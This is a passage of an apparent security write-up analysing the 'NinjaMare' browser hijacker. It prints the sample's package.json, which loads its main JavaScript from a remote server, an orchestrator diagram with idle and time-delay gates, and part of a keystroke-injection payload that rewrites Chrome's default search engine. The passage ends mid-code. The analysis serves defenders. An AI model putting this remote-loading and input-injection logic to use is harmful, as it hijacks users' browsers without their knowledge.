&lt;summary class="hx:flex hx:items-center hx:cursor-pointer hx:select-none hx:list-none hx:p-1 hx:rounded-sm hx:transition-colors hx:hover:bg-gray-100 hx:dark:hover:bg-neutral-800 hx:before:mr-1 hx:before:inline-block hx:before:transition-transform hx:before:content-[''] hx:dark:before:invert hx:rtl:before:rotate-180 hx:group-open:before:rotate-90"&gt;
&lt;strong class="hx:text-lg"&gt;NinjaMare Technical Analysis&lt;/strong&gt;
&lt;/summary&gt;
&lt;div class="hx:p-2 hx:overflow-hidden"&gt;
&lt;p&gt;NinjaMare is a PUA that installs browser extensions and hijacks the default
search engine without the user&amp;rsquo;s knowledge. It consists of two parts:
JavaScript that defines the logic and a modified NW.js engine that allows for
input injection into any application on the machine. The JavaScript is fetched
from a server every time the application runs and is never written to the disk.
The &lt;code&gt;package.json&lt;/code&gt; file in the installation directory tells NW.js where the
main entry point is located. The &lt;code&gt;package.json&lt;/code&gt; for a NinjaMare sample is shown
below. It also has set
&lt;a href="https://docs.nwjs.io/References/Manifest%20Format/#node-remote"target="_blank" rel="noopener"&gt;node-remote&lt;/a&gt;
to accept loading resources from any location. This is a specific field for
NW.js to enable remote loading of the web resources.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;PrivacyBrowse&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.12.78&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Protect your privacy with a simple browser that lets you focus on what matters most.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;main&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://pbcdn.privacybrowse.app/privacybrowse/src/browser.html&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;nodejs&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;node-remote&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*://*&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;dependencies&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;axios&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;^1.3.4&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;cheerio&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;^1.0.0-rc.12&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;font-awesome&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;^4.7.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;tar&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;^6.1.13&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;universal-analytics&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;^0.5.3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;window&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;./images/icon256.png&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;width&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;height&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;720&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;show&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;frame&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;show_in_taskbar&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;webview&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;partitions&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;trusted&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;accessible_resources&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;all_urls&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;webkit&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;plugin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;icons&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;256&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;./images/icon256.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;chromium-args&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=23.0.0.162 --enable-widevine-cdm --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --widevine-cdm-path=widevinecdmadapter.dll --widevine-cdm-version=1.4.8.903&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;js-flags&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--expose-gc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The HTML file loads JavaScript, CSS files, and other resources used to display
the application to the user. The file of interest is the JavaScript file called
&lt;code&gt;start.js&lt;/code&gt;; it holds most of the application logic and the input injection
logic.&lt;/p&gt;
&lt;h3&gt;JavaScript Orchestrator&lt;span class="hx:absolute hx:-mt-20" id="javascript-orchestrator"&gt;&lt;/span&gt;
&lt;a href="#javascript-orchestrator" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the application is started for the first time, it records the time as its
&amp;ldquo;birthday&amp;rdquo;. This timestamp is used as a hard gate; nothing nefarious is
performed until at least 12 hours after the initial startup. After this time
limit, it uses a soft limit of 30 seconds. Once this is met, it waits for the
machine to become idle for more than seven minutes before performing its
actions. The logic is shown in the diagram below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;setTimeout(emuTerms, 30000) ← 30s after app start
└── emuTerms()
├── getVariant(type, history) ← select next untried variant
│ └── popUID(variants) ← substitute %USERID%, %BDTS%, %TAG% tokens
├── getActivity(secondaryLogic) ← C2: /checkActivity/&amp;lt;uid&amp;gt;
└── manageBrowser(variant, type)
└── eHandler(initFn, variant) ← 7-min idle gate
└── initEdge/initChCs/initFF/initCh/initSuite(variant)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;NinjaMare targets Chrome, Edge, and Firefox. The logic is similar for each
browser. It creates a JSON payload to send to the engine. The payload contains
a command to run if the browser isn’t running, a regex used to find the window
of the browser, and a list of actions to the engine. The code snippet below
shows the payload used for Google Chrome.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;emuSettings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chrome&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;cmdParams&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--profile-directory=Default&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;appRegex&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;.* (-|–) Google Chrome&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;focus&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[]},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;resize&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;660&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;660&lt;/span&gt;&lt;span class="p"&gt;]},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;movewindow&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availLeft&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;650&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;availTop&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)]},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;shortcut&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_LCONTROL&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_T&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;shortcut&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_MENU&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;VK_D&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chrome://settings/searchEngines&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;VK_DELETE&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;VK_RETURN&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;VK_TAB&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sleep&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;default-search&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
